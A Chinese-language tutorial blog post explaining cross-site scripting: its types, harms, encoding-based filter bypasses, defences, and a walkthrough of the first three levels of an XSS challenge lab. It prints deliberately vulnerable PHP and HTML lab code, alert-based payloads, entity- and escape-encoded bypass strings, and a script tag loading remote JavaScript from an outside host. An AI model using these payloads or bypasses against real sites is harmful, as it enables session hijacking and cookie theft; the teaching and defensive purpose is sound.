XSS简介
XSS被称为跨站脚本攻击(Cross-Site Scripting,由于和CSS(层叠样式表Cascading Style Sheets)重名,故简称为XSS。 从OWASP组织公布的TOP10漏洞中,我们也能发现,XSS一直是名列靠前的漏洞之一。
XSS最大的特点就是能注入恶意的HTML/JavaScript代码到用户的网页上,从而达到劫持用户会话的目的。不严格地讲,XSS也是注入的一种,HTML注入。由于HTML代码和客户端JavaScript脚本能在受害者主机上的浏览器任意执行,这样等同于完全控制了Web客户端的逻辑,在这个基础上,黑客或者攻击者可以轻易地发动各种各样的攻击。
在讲XSS之前,我们先说一下浏览器的同源策略。
所谓同源策略,是一种约定,它是浏览器最核心也最基本的安全功能,如果缺少了同源策略,则浏览器的正常功能可能都会受到影响。可以说Web是构建在同源策略基础之上的,浏览器只是针对同源策略的一种实现。 如果两个页面的协议,端口(如果有指定)和域名都相同,则两个页面具有相同的源。
同domain,同端口,同协议视为同一个域,一个域内的脚本仅仅具有本域内的权限,可以理解为本域脚本只能读写本域内的资源,而无法访问其它域的资源。但有些时候我们看到img,script,style等标签,都允许跨域引用资源,严格说这是不符合同源要求的。然而,其实只是引用这些资源而已,并不能读取这些资源的内容。
说了这么多,到底XSS是什么样子呢?先看一下,我们输入一个恶意Payload,来执行输入的HTML标签。
这里便是一个可控的输入点,我们输入<img src=x onerror=alert(/XSS/)>,发现成功弹窗了。
XSS漏洞的危害
那么XSS到底有哪些危害呢,一起来看
- 1 网络钓鱼,包括盗取各类用户账号
- 2 窃取用户cookies资料,从而获取用户隐私信息,或利用用户身份进一步对网站执行操作
- 3 劫持用户(浏览器)会话,从而执行任意操作,例如进行非法转账、强制发表日志、发送电子邮件等
- 4 强制弹出广告页面、刷流量等
- 5 网页挂马
- 6 传播跨站脚本蠕虫等
- 7 结合其他漏洞,如CSRF漏洞,实施进一步作恶
- 8 其他各种恶意操作等
以往,XSS跨站脚本一直被当做是一类鸡肋漏洞没有什么好利用的地方,只能弹出对话框而已,稍微有点危害的就是用来盗取用户Cookies资料和网页挂马。另外通常情况下,我们通过注入alert(/XSS/)之类的JavaScript代码,实际上并没有反映其危害性,只是证明其存在性。
相较而言,乙方对于XSS确实没有引起足够高的重视。诚然,XSS不如SQL注入、文件上传等直接获取较高权限,甚至getshell;但是它的运用方式相当灵活,构造的恶意代码也多式多样,只要开拓思维,适当结合其他技术一起运用,XSS的危害还是很大的。
XSS漏洞的类型
那么XSS到底有哪几种类型呢
可以分为两种类型:
- 非持久性攻击
- 持久性攻击
非持久型XSS攻击:顾名思义,非持久型XSS攻击是一次性的,仅对当次的页面访问产生影响。非持久型XSS攻击要求用户访问一个被攻击者篡改后的链接,用户访问该链接时,被植入的攻击脚本被用户游览器执行,从而达到攻击目的。
持久型XSS攻击:持久型XSS,会把攻击者的数据存储在服务器端,攻击行为将伴随着攻击数据一直存在。
当然我们也可以划分为如下三种类型:
- 反射型XSS,经过后端,不经过数据库
- 存储型XSS,经过后端,经过数据库
- DOM型XSS,不经过后端,基于文档对象模型(DOM),通过传入参数修改DOM结构,从而浏览器解析执行脚本
这里我们利用DVWA来分别对反射型和存储型XSS进行验证。
反射型XSS
在输入框输入可执行的JavaScript脚本,这里远程加载JavaScript,测试代码如下:
<script src= http://victorsec.top/xss.js></script>
反射型XSS,不会持久,构造的Payload也只会执行一次。
反射型 XSS 的数据流向是:浏览器 -> 后端 -> 浏览器
存储型XSS
存储型XSS,顾名思义就是将恶意代码存储到数据库中,只要访问页面,恶意代码即可执行。由此可以看出,存储型XSS的危害就比反射型XSS大很多。我们依然利用DVWA的存储XSS漏洞,输入测试代码如下:
点击执行,会将Payload存储到数据库中,每次刷新页面都会执行恶意脚本。
我们可以看出,存储行 XSS 的数据流向是: 浏览器 -> 后端 -> 数据库 -> 后端 -> 浏览器。
DOM XSS
DOM型XSS其实是一种特殊类型的反射型XSS,它是基于DOM文档对象模型的一种漏洞。
可以触发DOM XSS的属性有:
- document.referer属性
- window.name属性
- location属性
- innerHTML属性
- documen.write属性等
这里我们以document.write和innerHTML为例,在本地搭建DOM XSS演示
代码一
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title></title>
<script type="text/javascript">
var s=location.search; //返回URL中的查询部分(?之后的内容)
s=s.substring(1,s.length); //返回整个查询内容
var url=""; //定义变量url
if(s.indexOf("url=")>-1){ //判断URL是否为空
var pos=s.indexOf("url=")+4; //过滤掉"url="字符
url=s.substring(pos,s.length); //得到地址栏里的url参数
}else{
url="url参数为空";
}
</script>
</head>
<body>
<div id='test'> </div>
<script type="text/javascript">document.getElementById("test").innerHTML="我的url是: "+url; </script>
</body>
</html>
完整URL如下:
http://127.0.0.1/xsstest2.html?url=<img src=x onerror=alert(666)>
通过浏览器传入参数url,向DOM中div内写入值,从而触发DOM XSS
代码二
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title></title>
<script type="text/javascript">
var s=location.search; //返回URL中的查询部分(?之后的内容)
s=s.substring(1,s.length); //返回整个查询内容
var url=""; //定义变量url
if(s.indexOf("url=")>-1){ //判断URL是否为空
var pos=s.indexOf("url=")+4; //过滤掉"url="字符
url=s.substring(pos,s.length); //得到地址栏里的url参数
}else{
url="url参数为空";
}
document.write("url: <a href='"+url+"'>"+url+"</a>"); //输出
</script>
</head>
<body>
</body>
</html>
通过浏览器url传入参数的值,从而写入DOM中,Javascript执行恶意代码,从而产生DOM XSS
完整URL如下:
http://127.0.0.1/xsstest3.html?url=<img src=x onerror=alert(666)>
DOM XSS并没有经过服务端和数据库,只在浏览器前端,通过DOM的操作执行恶意脚本。因此DOM XSS的数据流如下:DOM XSS数据流:URL -> 浏览器
一般来说,反射型XSS经常会出现在登录框、搜索框等输入位置。
而存储型XSS多发生在留言板、评论、博客日志用户交互的位置。
DOM XSS多与document.write、innerHTML相关。
XSS的防御
XSS产生的原因呢?是由于输入数据的不可控,未对数据进行过滤。 那么我们防御XSS要从以下几个方面着手:
- 输入校验:长度限制、值类型是否正确、是否包含特殊字符(<>”等)、是否包含alert、onclick、script等关键字。
- 输出编码:根据输出的位置进行相应的编码,如HTML编码、JavaScript编码、URL编码。原则是该数据不要超出自己所在的区域,也不要被当做指令执行。
- 考虑set-cookie中设置http-only,避免cookie盗用。
另外对于DOM XSS的防御,避免客户端文档的重写、重定向或其他敏感操作,同时避免使用客户端数据,这些操作尽量在服务端使用动态页面来实现。
对于防御来说,现在使用的很多框架,都加入了规则,过滤转码,禁止使用document.write、innerHTML等这类函数。但也并不是说一定安全,没有绝对的安全,所谓道高一尺,魔高一丈,漏洞挖掘本身就是模糊测试,需要我们不断研究攻击与防御原理,才能不断更新规则,提高web安全。
很多时候漏洞需要一定的配合方能进行攻击利用,比如现在挖掘到一个self-XSS,只能用来打自己的Cookie等,此时我们可以考虑是否能CSRF(跨站请求伪造),通过将CSRF和self-XSS进行配合利用,便可以实现XSS的威力。再比如当遇到Cookie设置了http-only是否真的无法利用?之前有见过将CORS跨域资源访问配合进行利用,有防御就有攻击,有攻击就会防御,攻防是加强安全的手段。
XSS的编码问题
既然说到编码,先说一下浏览器常用的几种编码吧
URL编码:一个百分号和该字符的ASCII编码所对应的2位十六进制数字,例如“/”的URL编码为%2F(一般大写,但不强求)
HTML编码:在呈现HTML页面时,有时候需要显示一些特殊的字符,例如”<”和”&”,因为它们是HTML专用字符,需要通过一定的方式来实现,HTML编码由此诞生。HTML编码只是一种函数体现,用于将字符转换成HTML实体。
JavaScript编码:可以采用跟HtmlEncode不同的编码方式,即使用“\”对特殊字符进行转义。也可以转换成对应的字符编码。
js提供了四种字符编码的策略:
- 三个八进制数字,如果不够个数,前面补0,例如“e”编码为“\145”
- 两个十六进制数字,如果不够个数,前面补0,例如“e”编码为“\x65”
- 四个十六进制数字,如果不够个数,前面补0,例如“e”编码为“\u0065”
- 对于一些控制字符,使用特殊的C类型的转义风格(例如\n和\r)
浏览器解析原理:
浏览器在接收到一个HTML文件时,会从头开始对文档进行解析。遇到javascript时,会调用javascript解析器进行解析。遇到类似Onclick等需要触发才会执行的代码会跳过,事件被触发时才会被解析。
案例一:HTML——JS
<?php
function htmlencode($str){
if(empty($str)) return;
if($str == "") return;
$str = str_ireplace("<","",$str);
$str = str_ireplace(">","",$str);
$str = str_ireplace("script","",$str);
$str = str_ireplace("img","",$str);
$str = str_ireplace(":","",$str);
$str = str_ireplace("javascript","",$str);
return $str;
}
if(!array_key_exists ("name",$_GET) || $_GET['name'] == NULL || $_GET['name'] == ''){
$isempty = true;
} else {
$html = '<pre>';
$html .= '<a onclick=" ' .htmlencode($_GET['name']).'">click this url</a>';
$html .= '</pre>';
}
echo @$html;
?>
这里我们先看name所在的环境,通过url传入参数,然后在html标签里,先进行html解码,然后进行js解码,于是我们考虑对输入的url参数进行html编码,从而可以在进行js解码之前还原参数,从而js执行恶意代码
这里搭建环境只是测试不同环境下的xss解码顺序,由于html编码包含&和#,我们需要先对url参数进行url编码 ,然后url参数在服务端解码,然后绕过对javascript等字符的过滤,然后在浏览器解析时造成解码差执行
%26%23x6A%3b%26%23x61%3b%26%23x76%3b%26%23x61%3b%26%23x73%3b%26%23x63%3b%26%23x72%3b%26%23x69%3b%26%23x70%3b%26%23x74%3b%26%23x3A%3b%26%23x61%3b%26%23x6C%3b%26%23x65%3b%26%23x72%3b%26%23x74%3b%26%23x28%3b%26%23x31%3b%26%23x29%3b
然后查看源代码可以看到:
onclick事件需要点击才会执行,先html解码,然后js解码,从而执行弹窗
案例二:JS——HTML
<html>
<?php
if(!array_key_exists ("name",$_GET) || $_GET['name'] == NULL || $_GET['name'] == ''){
$isempty = true;
} else {
$value = $_GET['name'];
$html = '<pre>';
$html .= "Your Name is :
<div id='a'></div>
<script>
document.getElementById('a').innerHTML= "."'".htmlspecialchars($value)."'".";
</script>
";
$html .= '</pre>';
}
echo @$html;
?>
</html>
这里我们先分析value的环境,通过url参入参数,在script内,先进行js解码,然后写入html内进行html解码 于是考虑将payload进行js解码,此时便可以绕过html的实体编码
如果我们输入以往payload,会发现htmlspecialchars函数对value的特殊字符进行了实体编码
<html>
<pre>Your Name is :
<div id='a'></div>
<script>
document.getElementById('a').innerHTML= '<img src=x onerror=alert(1)>';
</script>
</pre>
</html>
于是我们构造payload,对url传入的参数先进行js编码
\x3cimg src=x onerror=alert(1)\3e
从而绕过服务端对特殊字符的编码,在浏览器中先进行js解码,然后进行html解码,从而执行
通过以上两个案例,我们对XSS的解码环境有了一个简单了解,以后在防御或者绕过XSS的时候,都可以做到在正确的环境内使用适当的编码
很多不了解html、js编码的童鞋挖掘xss漏洞时,都是一顿乱插,姿势对了,就能获得快感,姿势不对,就么反应
XSS过关挑战
说了这么多,我已经迫不及待想找个留言板,输入框进行XSS测试了怎么办?
下面有个XSS过关挑战,从Level1到Level20,这里我们一起看一下前三关。
Level 1
http://127.0.0.1/xss/level1.php?name=test
这里我们给name参数传入<img src=x onerror=alert(1)> 从而成功过关
此时看下第一关的服务端代码:
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level2.php?keyword=test";
}
</script>
<title>欢迎来到level1</title>
</head>
<body>
<h1 align=center>欢迎来到level1</h1>
<?php
ini_set("display_errors", 0);
$str = $_GET["name"];
echo "<h2 align=center>欢迎用户".$str."</h2>";
?>
<center><img src=level1.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>
发现并没有对name参数进行过滤编码等,从而用最简单的payload可以弹窗
Level 2
如法炮制,利用第一关payload发现,并没有执行弹窗,于是查看网页源码:
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level3.php?writing=wait";
}
</script>
<title>欢迎来到level2</title>
</head>
<body>
<h1 align=center>欢迎来到level2</h1>
<h2 align=center>没有找到和<img src=x onerror=alert(1)>相关的结果.</h2><center>
<form action=level2.php method=GET>
<input name=keyword value="<img src=x onerror=alert(1)>">
<input type=submit name=submit value="搜索"/>
</form>
</center><center><img src=level2.png></center>
<h3 align=center>payload的长度:28</h3></body>
</html>
发现value值需要进行闭合操作
于是构造payload如下:”><img src=x onerror=alert(1)><” 成功执行
Level 3
输入构造的payload,查看网页源代码发现进行了html实体编码
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level4.php?keyword=try harder!";
}
</script>
<title>欢迎来到level3</title>
</head>
<body>
<h1 align=center>欢迎来到level3</h1>
<h2 align=center>没有找到和<img src=x onerror=alert(1)>相关的结果.</h2><center>
<form action=level3.php method=GET>
<input name=keyword value='<img src=x onerror=alert(1)>'>
<input type=submit name=submit value=搜索 />
</form>
</center><center><img src=level3.png></center>
<h3 align=center>payload的长度:28</h3></body>
</html>
于是考虑利用on事件来触发弹窗,闭合后payload如下:
‘onmouseover=’alert(1)’ 通过鼠标移动事件来执行弹窗操作
做完之后我们再看下服务端的代码如下:
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level4.php?keyword=try harder!";
}
</script>
<title>欢迎来到level3</title>
</head>
<body>
<h1 align=center>欢迎来到level3</h1>
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>"."<center>
<form action=level3.php method=GET>
<input name=keyword value='".htmlspecialchars($str)."'>
<input type=submit name=submit value=搜索 />
</form>
</center>";
?>
<center><img src=level3.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>
这里利用php的htmlspecialchars函数对传入参数进行实体编码,这个参数有一个特性就是默认的如果不指定的话,并不会对’进行编码,只对”进行编码,于是可以构造闭合标签。另外关于XSS的挑战还有很多,感兴趣的童鞋可以下载源码搭环境进行测试。
结束语
本文只是从个人角度对XSS进行简单介绍,并未对XSS进行深入研究。XSS对于Web前端安全来说,显得尤为重要,不论是各种新奇的配合利用,还是各种姿势的bypass,都值得去探索。
Web安全之XSS是前端安全重要的一环,需要引起足够的重视。XSS运用灵活,姿势多变,配合CSRF等漏洞,可能产生不一样的效果。